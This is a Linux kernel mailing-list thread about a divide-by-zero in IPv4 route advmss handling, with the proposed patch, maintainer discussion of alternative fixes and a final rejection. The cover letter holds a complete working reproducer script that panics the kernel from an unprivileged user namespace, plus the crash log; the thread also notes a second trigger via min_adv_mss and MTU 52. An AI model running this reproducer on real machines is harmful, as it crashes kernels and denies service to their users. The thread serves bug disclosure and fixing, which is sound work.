ipv4: fix divide-by-zero from undersized RTAX_ADVMSS
Subsystems (4)
cover ipv4: fix divide-by-zero from undersized RTAX_ADVMSS
From: Yong Wang <[email protected]>
Hi Linux kernel maintainers,
We found and validated a divide-by-zero bug in the IPv4 route metrics handling. The bug is reachable by an unprivileged user with CAP_NET_ADMIN in a user-created network namespace.
The attached patch fixes the bug by rejecting non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS at the route metric input point.
---- details below ----
Bug details:
ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and still accepts undersized non-zero values from userspace.
With a route installed using "advmss 12", a passive TCP open can later reach tcp_openreq_init_rwin(). If SYN timestamps are enabled, tcp_openreq_init_rwin() subtracts TCPOLEN_TSTAMP_ALIGNED from the route advmss before calling tcp_select_initial_window(). This reduces the effective MSS to zero and triggers a divide-by-zero in the rounddown(space, mss) path.
The fix rejects non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS while keeping the existing "0 means use default advmss" behavior intact.
Reproducer:
The reproducer script requires python3 environment
chmod +x ./poc.sh
./poc.sh
We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.
------BEGIN poc.sh------
#!/bin/sh
set -eu
PATH=/usr/sbin:/sbin:/usr/bin:/bin
export PATH
PORT="${1:-12345}"
export PORT
unshare -Urn sh -eu <<'INNER'
cleanup() {
[ -n "${SERVER_PID:-}" ] && kill "$SERVER_PID" 2>/dev/null || true
[ -n "${CLI_HOLDER_PID:-}" ] && kill "$CLI_HOLDER_PID" 2>/dev/null || true
}trap cleanup EXIT INT TERM
rm -f /tmp/ip_metrics_div0_cli.pid /tmp/ip_metrics_div0_srv.log
sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null
unshare -n sh -c 'echo $$ > /tmp/ip_metrics_div0_cli.pid; exec sleep 1000' & CLI_HOLDER_PID=$!
i=0
while [ ! -s /tmp/ip_metrics_div0_cli.pid ]; do
i=$((i + 1))
[ "$i" -lt 50 ] || {
echo "client namespace did not start" >&2
exit 1
}
sleep 0.1done
CLIPID=$(cat /tmp/ip_metrics_div0_cli.pid)
ip link add veth-srv type veth peer name veth-cli
ip link set veth-cli netns "$CLIPID"
ip link set lo up
ip addr add 10.0.0.1/24 dev veth-srv
ip link set veth-srv up
nsenter -t "$CLIPID" -n sysctl -w net.ipv4.tcp_timestamps=1 >/dev/null nsenter -t "$CLIPID" -n ip link set lo up
nsenter -t "$CLIPID" -n ip addr add 10.0.0.2/24 dev veth-cli nsenter -t "$CLIPID" -n ip link set veth-cli up
ip route add 10.0.0.2/32 dev veth-srv advmss 12
ip route get 10.0.0.2
python3 -c 'import os, socket, time
port = int(os.environ["PORT"])
s = socket.socket() s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind(("10.0.0.1", port))s.listen(128)print("listening", flush=True) time.sleep(600)' >/tmp/ip_metrics_div0_srv.log 2>&1 & SERVER_PID=$!
sleep 1
cat /tmp/ip_metrics_div0_srv.log
nsenter -t "$CLIPID" -n python3 -c 'import os, socket port = int(os.environ["PORT"])
s = socket.socket()s.settimeout(5)s.connect(("10.0.0.1", port))'
INNER
------END poc.sh--------
----BEGIN crash log----
[ 175.082064] Oops: divide error: 0000 [#1] SMP NOPTI [ 175.082793] CPU: 3 UID: 1028 PID: 1018 Comm: python3 Not tainted 6.12.95 #1 [ 175.083689] Hardware name: QEMU Ubuntu 24.04 PC v2 (i440FX + PIIX, arch_caps fix, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014 [ 175.085138] RIP: 0010:tcp_select_initial_window+0x43/0xe0 [ 175.085867] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39 [ 175.088227] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246 [ 175.088927] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000 [ 175.089839] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000 [ 175.090751] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001 [ 175.091671] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000 [ 175.092594] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c [ 175.093522] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000 [ 175.094563] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 175.095301] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0 [ 175.096200] PKRU: 55555554 [ 175.096570] Call Trace: [ 175.096898] <IRQ> [ 175.097170] tcp_openreq_init_rwin+0x131/0x230 [ 175.097768] tcp_conn_request+0x4fa/0xd40 [ 175.098304] ? tcp_rcv_state_process+0x631/0xf40 [ 175.098900] tcp_rcv_state_process+0x631/0xf40 [ 175.099425] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.099974] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.100497] ? security_sock_rcv_skb+0x80/0xf0 [ 175.100990] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.101525] ? sk_filter_trim_cap+0x53/0x280 [ 175.102000] tcp_v4_do_rcv+0xe0/0x2a0 [ 175.102413] tcp_v4_rcv+0x139a/0x13d0 [ 175.102818] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.103342] ip_protocol_deliver_rcu+0x3b/0x1b0 [ 175.103837] ip_local_deliver_finish+0x79/0xa0 [ 175.104328] __netif_receive_skb_one_core+0x89/0xa0 [ 175.104858] process_backlog+0x99/0x1b0 [ 175.105290] __napi_poll+0x28/0x1b0 [ 175.105677] net_rx_action+0x197/0x370 [ 175.106088] handle_softirqs+0xe6/0x300 [ 175.106519] do_softirq.part.0+0x3b/0x60 [ 175.106945] </IRQ> [ 175.107183] <TASK> [ 175.107441] __local_bh_enable_ip+0x4f/0x60 [ 175.107895] __neigh_event_send+0xb9/0x390 [ 175.108363] neigh_resolve_output+0x12f/0x1b0 [ 175.108845] ip_finish_output2+0x185/0x540 [ 175.109301] ip_output+0x5d/0xe0 [ 175.109670] ? __pfx_ip_finish_output+0x10/0x10 [ 175.110170] __ip_queue_xmit+0x16c/0x470 [ 175.110607] __tcp_transmit_skb+0xb6e/0xcc0 [ 175.111098] ? srso_alias_return_thunk+0x5/0xfbef5 [ 175.111635] tcp_connect+0xabd/0xec0 [ 175.112039] tcp_v4_connect+0x45d/0x520 [ 175.112465] __inet_stream_connect+0xa3/0x3f0 [ 175.112953] inet_stream_connect+0x3a/0x60 [ 175.113402] __sys_connect+0xb0/0xc0 [ 175.113811] __x64_sys_connect+0x18/0x20 [ 175.114254] do_syscall_64+0x58/0x120 [ 175.114677] entry_SYSCALL_64_after_hwframe+0x76/0x7e [ 175.115231] RIP: 0033:0x7b2b60c8b687 [ 175.115633] Code: 48 89 fa 4c 89 df e8 58 b3 00 00 8b 93 08 03 00 00 59 5e 48 83 f8 fc 74 1a 5b c3 0f 1f 84 00 00 00 00 00 48 8b 44 24 10 0f 05 <5b> c3 0f 1f 80 00 00 00 00 83 e2 39 83 fa 08 75 de e8 23 ff ff ff [ 175.117414] RSP: 002b:00007ffe84306f90 EFLAGS: 00000202 ORIG_RAX: 000000000000002a [ 175.117895] RAX: ffffffffffffffda RBX: 00007b2b60bf7780 RCX: 00007b2b60c8b687 [ 175.118357] RDX: 0000000000000010 RSI: 00007ffe84307030 RDI: 0000000000000003 [ 175.118819] RBP: 00007ffe84307030 R08: 0000000000000000 R09: 0000000000000000 [ 175.119274] R10: 0000000000000000 R11: 0000000000000202 R12: 0000000000a83590 [ 175.119725] R13: 0000000000000001 R14: 0000000000000010 R15: 00007b2b60f33080 [ 175.120192] </TASK> [ 175.120354] Modules linked in: [ 175.120593] ---[ end trace 0000000000000000 ]--- [ 175.120905] RIP: 0010:tcp_select_initial_window+0x43/0xe0 [ 175.121252] Code: 89 d3 55 85 ff 48 89 cd 89 c1 b8 00 c0 ff 3f 53 48 8b 5c 24 20 0f 44 f8 44 8b 64 24 28 39 cf 0f 46 cf 39 ca 73 09 89 c8 31 d2 <41> f7 f3 29 d1 49 8b 42 30 0f b6 90 f9 04 00 00 b8 ff 7f 00 00 39 [ 175.122449] RSP: 0018:ffffc90000170a78 EFLAGS: 00010246 [ 175.122805] RAX: 0000000000010000 RBX: ffffc90000170aaf RCX: 0000000000010000 [ 175.123273] RDX: 0000000000000000 RSI: 0000000000010000 RDI: 000000003fffc000 [ 175.123730] RBP: ffff8881030de854 R08: ffff8881030de85c R09: 0000000000000001 [ 175.124208] R10: ffff8881033aa840 R11: 0000000000000000 R12: 0000000000000000 [ 175.124679] R13: ffff888104a00dc0 R14: 0000000000010000 R15: 000000000000000c [ 175.125154] FS: 00007b2b60bf7780(0000) GS:ffff88813bd80000(0000) knlGS:0000000000000000 [ 175.125679] CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 [ 175.126063] CR2: 00007b2b60d237c0 CR3: 00000001132a2002 CR4: 0000000000770ef0 [ 175.126578] PKRU: 55555554 [ 175.126778] Kernel panic - not syncing: Fatal exception in interrupt [ 175.127317] Kernel Offset: disabled
-----END crash log-----
Best regards,
Yong Wang
Yong Wang (1):
ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
net/ipv4/metrics.c | 6 ++++++ 1 file changed, 6 insertions(+)
Signature · 1 line
2.53.0
PATCH RESEND 1/1 ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
From: Yong Wang <[email protected]>
ip_metrics_convert() only caps RTAX_ADVMSS at the upper bound and still accepts undersized non-zero values from userspace.
A route installed with "advmss 12" can later reach the passive TCP open path. When SYN timestamps are enabled, tcp_openreq_init_rwin() subtracts TCPOLEN_TSTAMP_ALIGNED from the route advmss before calling tcp_select_initial_window(). This can reduce the effective MSS to zero and trigger a divide-by-zero in the rounddown(space, mss) path.
Reject non-zero RTAX_ADVMSS values smaller than TCP_MIN_MSS while keeping the existing "0 means use default advmss" behavior intact.
This matches the existing TCP_MIN_MSS based validation used for TCP_MAXSEG and fixes the bug at the route metric input point rather than adding a redundant guard deeper in the TCP stack.
--- net/ipv4/metrics.c | 6 ++++++ 1 file changed, 6 insertions(+)
net/ipv4/metrics.c +6 -0
@@ -44,6 +44,12 @@ static int ip_metrics_convert(struct nlattr *fc_mx, } val =nla_get_u32 (nla); } +if (type ==RTAX_ADVMSS && val && val <TCP_MIN_MSS ) { +NL_SET_ERR_MSG_ATTR_FMT (extack, nla, +"Invalid advmss, must be 0 or >= %u" , +TCP_MIN_MSS ); +return -EINVAL ; + }if (type ==RTAX_ADVMSS && val >65535 -40 ) val =65535 -40 ;if (type ==RTAX_MTU && val >65535 -15 )
Signature · 1 line
2.53.0
Ido Schimmel
maintainerRe: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
Quoted 11 lines · Ren Wei
From: Yong Wang <[email protected]>
ip_metrics_convert()only capsRTAX_ADVMSSat the upper bound and still accepts undersized non-zero values from userspace.A route installed with "advmss 12" can later reach the passive TCP open path. When SYN timestamps are enabled,
tcp_openreq_init_rwin()subtractsTCPOLEN_TSTAMP_ALIGNEDfrom the route advmss before callingtcp_select_initial_window(). This can reduce the effective MSS to zero and trigger a divide-by-zero in therounddown(space, mss)path.
Quoted 6 lines
Reject non-zero
RTAX_ADVMSSvalues smaller thanTCP_MIN_MSSwhile keeping the existing "0 means use default advmss" behavior intact.This matches the existing
TCP_MIN_MSSbased validation used forTCP_MAXSEGand fixes the bug at the route metric input point rather than adding a redundant guard deeper in the TCP stack.
Eric / Neal,
Both sashiko instances [1][2] claim that this patch doesn't completely fix the divide-by-zero issue: it is still reachable by lowering net.ipv4.route.min_adv_mss to 0 and configuring a route with an MTU metric of 52.
Given the above and the "We assume here that mss >= 1. This MUST be enforced by all callers" comment above tcp_select_initial_window(), do you prefer to fix this in TCP by enforcing a minimum MSS value? Something like [3].
Thanks
[1] https://sashiko.dev/#/patchset/2c3901162c65a1d85cc1756a83a458db834d70c1.1786610865.git.edragain%40163.com
[2] https://netdev-ai.bots.linux.dev/sashiko/#/patchset/2c3901162c65a1d85cc1756a83a458db834d70c1.1786610865.git.edragain%40163.com
[3]
include/net/tcp.h +5 -0
@@ -1782,6 +1782,11 @@ static inline int tcp_full_space(const struct sock *sk)return tcp_win_from_space (sk,READ_ONCE (sk->sk_rcvbuf)); } +static inline u32 tcp_dst_advmss (const struct dst_entry *dst) +{ +return max_t (u32,dst_metric_advmss (dst),TCP_MIN_MSS ); +} +static inline void __tcp_adjust_rcv_ssthresh (struct sock *sk,u32 new_ssthresh) {int unused_mem =sk_unused_reserved_mem (sk);
net/ipv4/tcp_ipv4.c +1 -1
@@ -1736,7 +1736,7 @@ struct sock *tcp_v4_syn_recv_sock(const struct sock *sk, struct sk_buff *skb,tcp_ca_openreq_child (newsk, dst);tcp_sync_mss (newsk,dst4_mtu (dst)); - newtp->advmss =tcp_mss_clamp (tcp_sk (sk),dst_metric_advmss (dst)); + newtp->advmss =tcp_mss_clamp (tcp_sk (sk),tcp_dst_advmss (dst));tcp_initialize_rcv_mss (newsk);
net/ipv4/tcp_minisocks.c +1 -1
@@ -440,7 +440,7 @@ void tcp_openreq_init_rwin(struct request_sock *req,u32 rcv_wnd;int mss; - mss =tcp_mss_clamp (tp,dst_metric_advmss (dst)); + mss =tcp_mss_clamp (tp,tcp_dst_advmss (dst)); window_clamp =READ_ONCE (tp->window_clamp);/* Set this up on the first call only */ req->rsk_window_clamp = window_clamp ? :dst_metric (dst,RTAX_WINDOW );
net/ipv4/tcp_output.c +3 -3
@@ -143,7 +143,7 @@ static __u16 tcp_advertise_mss(struct sock *sk)int mss = tp->advmss;if (dst) { -unsigned int metric =dst_metric_advmss (dst); +unsigned int metric =tcp_dst_advmss (dst);if (metric < mss) { mss = metric;
@@ -3972,7 +3972,7 @@ struct sk_buff *tcp_make_synack(const struct sock *sk, struct dst_entry *dst, }skb_dst_set (skb, dst); - mss =tcp_mss_clamp (tp,dst_metric_advmss (dst)); + mss =tcp_mss_clamp (tp,tcp_dst_advmss (dst));memset (&opts,0 ,sizeof (opts)); now =tcp_clock_ns ();
@@ -4127,7 +4127,7 @@ static void tcp_connect_init(struct sock *sk)if (!tp->window_clamp)WRITE_ONCE (tp->window_clamp,dst_metric (dst,RTAX_WINDOW )); - tp->advmss =tcp_mss_clamp (tp,dst_metric_advmss (dst)); + tp->advmss =tcp_mss_clamp (tp,tcp_dst_advmss (dst));tcp_initialize_rcv_mss (sk);
net/ipv6/tcp_ipv6.c +1 -1
@@ -1487,7 +1487,7 @@ static struct sock *tcp_v6_syn_recv_sock(const struct sock *sk, struct sk_buff *tcp_ca_openreq_child (newsk, dst);tcp_sync_mss (newsk,dst6_mtu (dst)); - newtp->advmss =tcp_mss_clamp (tcp_sk (sk),dst_metric_advmss (dst)); + newtp->advmss =tcp_mss_clamp (tcp_sk (sk),tcp_dst_advmss (dst));tcp_initialize_rcv_mss (newsk);
Re: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
Quoted 42 lines · Ido Schimmel
Quoted 11 lines · Ren Wei
From: Yong Wang <[email protected]>
ip_metrics_convert()only capsRTAX_ADVMSSat the upper bound and still accepts undersized non-zero values from userspace.A route installed with "advmss 12" can later reach the passive TCP open path. When SYN timestamps are enabled,
tcp_openreq_init_rwin()subtractsTCPOLEN_TSTAMP_ALIGNEDfrom the route advmss before callingtcp_select_initial_window(). This can reduce the effective MSS to zero and trigger a divide-by-zero in therounddown(space, mss)path.Quoted 6 lines
Reject non-zero
RTAX_ADVMSSvalues smaller thanTCP_MIN_MSSwhile keeping the existing "0 means use default advmss" behavior intact.This matches the existing
TCP_MIN_MSSbased validation used forTCP_MAXSEGand fixes the bug at the route metric input point rather than adding a redundant guard deeper in the TCP stack.Eric / Neal,
Both sashiko instances [1][2] claim that this patch doesn't completely fix the divide-by-zero issue: it is still reachable by lowering net.ipv4.route.min_adv_mss to 0 and configuring a route with an MTU metric of 52.
Given the above and the "We assume here that mss >= 1. This MUST be enforced by all callers" comment above
tcp_select_initial_window(), do you prefer to fix this in TCP by enforcing a minimum MSS value? Something like [3].Thanks
[1] https://sashiko.dev/#/patchset/2c3901162c65a1d85cc1756a83a458db834d70c1.1786610865.git.edragain%40163.com
[2] https://netdev-ai.bots.linux.dev/sashiko/#/patchset/2c3901162c65a1d85cc1756a83a458db834d70c1.1786610865.git.edragain%40163.com
[3]include/net/tcp.h +0
-0
include/net/tcp.h static inline int tcp_full_space(const struct sock *sk) · line 1788
Quoted 7 lines
include/net/tcp.h +4
-0@@ -1782,6 +1782,11 @@ static inline int tcp_full_space(const struct sock *sk)return tcp_win_from_space (sk,READ_ONCE (sk->sk_rcvbuf)); } +static inline u32 tcp_dst_advmss (const struct dst_entry *dst) +{ +return max_t (u32,dst_metric_advmss (dst),TCP_MIN_MSS ); +}
Sounds good, although we probably need READ_ONCE()/WRITE_ONCE() annotations.
include/net/dst.h +0 -0
100644
include/net/dst.h +0 -0
@@ -110,7 +110,7 @@ u32 *dst_cow_metrics_generic(struct dst_entry
*dst, unsigned long old);
#define DST_METRICS_FLAGS 0x3UL
#define __DST_METRICS_PTR(Y) \
((u32 *)((Y) & ~DST_METRICS_FLAGS))-#define DST_METRICS_PTR(X) __DST_METRICS_PTR((X)->_metrics)
+#define DST_METRICS_PTR(X) __DST_METRICS_PTR(READ_ONCE((X)->_metrics))
static inline bool dst_metrics_read_only(const struct dst_entry *dst) {
@@ -128,7 +128,7 @@ static inline void dst_destroy_metrics_generic(struct dst_entry *dst)
static inline u32 *dst_metrics_write_ptr(struct dst_entry *dst) {
- unsigned long p = dst->_metrics;
+ unsigned long p = READ_ONCE(dst->_metrics);
BUG_ON(!p);
@@ -169,7 +169,7 @@ dst_metric_raw(const struct dst_entry *dst, const int metric)
{
u32 *p = DST_METRICS_PTR(dst);- return p[metric-1];
+ return READ_ONCE(p[metric-1]);
}
static inline u32
@@ -197,7 +197,7 @@ static inline void dst_metric_set(struct dst_entry *dst, int metric, u32 val)
u32 *p = dst_metrics_write_ptr(dst);
if (p)- p[metric-1] = val;
+ WRITE_ONCE(p[metric-1], val);
}
/* Kernel-internal feature bits that are unallocated in user space. */
Ido Schimmel
maintainerRe: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
Quoted 1 line · Eric Dumazet
Sounds good, although we probably need READ_ONCE()/WRITE_ONCE() annotations.
Thanks for the feedback, Eric.
Is this something you want to post separately from the diff I suggested?
They don't conflict and my diff merely adds a floor to the return value of dst_metric_advmss(), which TCP already calls.
If you are OK with posting yours separately, then the author can prepare v2 based on the diff I pasted.
Thanks
Re: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
Quoted 6 lines · Ido Schimmel
Quoted 1 line · Eric Dumazet
Sounds good, although we probably need READ_ONCE()/WRITE_ONCE() annotations.
Thanks for the feedback, Eric.
Quoted 7 lines
Is this something you want to post separately from the diff I suggested?
They don't conflict and my diff merely adds a floor to the return value of
dst_metric_advmss(), which TCP already calls.If you are OK with posting yours separately, then the author can prepare v2 based on the diff I pasted.
Another concern is that MIN_MSS should probably be family dependent.
Oh well.
Jakub Kicinski
maintainerRe: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
In reply to Ido SchimmelQuoted 4 lines · On Mon, 17 Aug 2026 11:28:03 +0300 Ido Schimmel wrote:
Given the above and the "We assume here that mss >= 1. This MUST be enforced by all callers" comment above
tcp_select_initial_window(), do you prefer to fix this in TCP by enforcing a minimum MSS value? Something like [3].
Should we still take the patch as posted?
Maybe not as a fix but to let the user know the value is out of bounds?
Jakub Kicinski
maintainerRe: [PATCH net RESEND 1/1] ipv4: reject RTAX_ADVMSS values below TCP_MIN_MSS
Quoted 8 lines · On Mon, 17 Aug 2026 09:50:15 -0700 Jakub Kicinski wrote:
Quoted 4 lines · On Mon, 17 Aug 2026 11:28:03 +0300 Ido Schimmel wrote:
Given the above and the "We assume here that mss >= 1. This MUST be enforced by all callers" comment above
tcp_select_initial_window(), do you prefer to fix this in TCP by enforcing a minimum MSS value? Something like [3].Should we still take the patch as posted?
Maybe not as a fix but to let the user know the value is out of bounds?
I'll assume not
Signature · 1 line
pw-bot: reject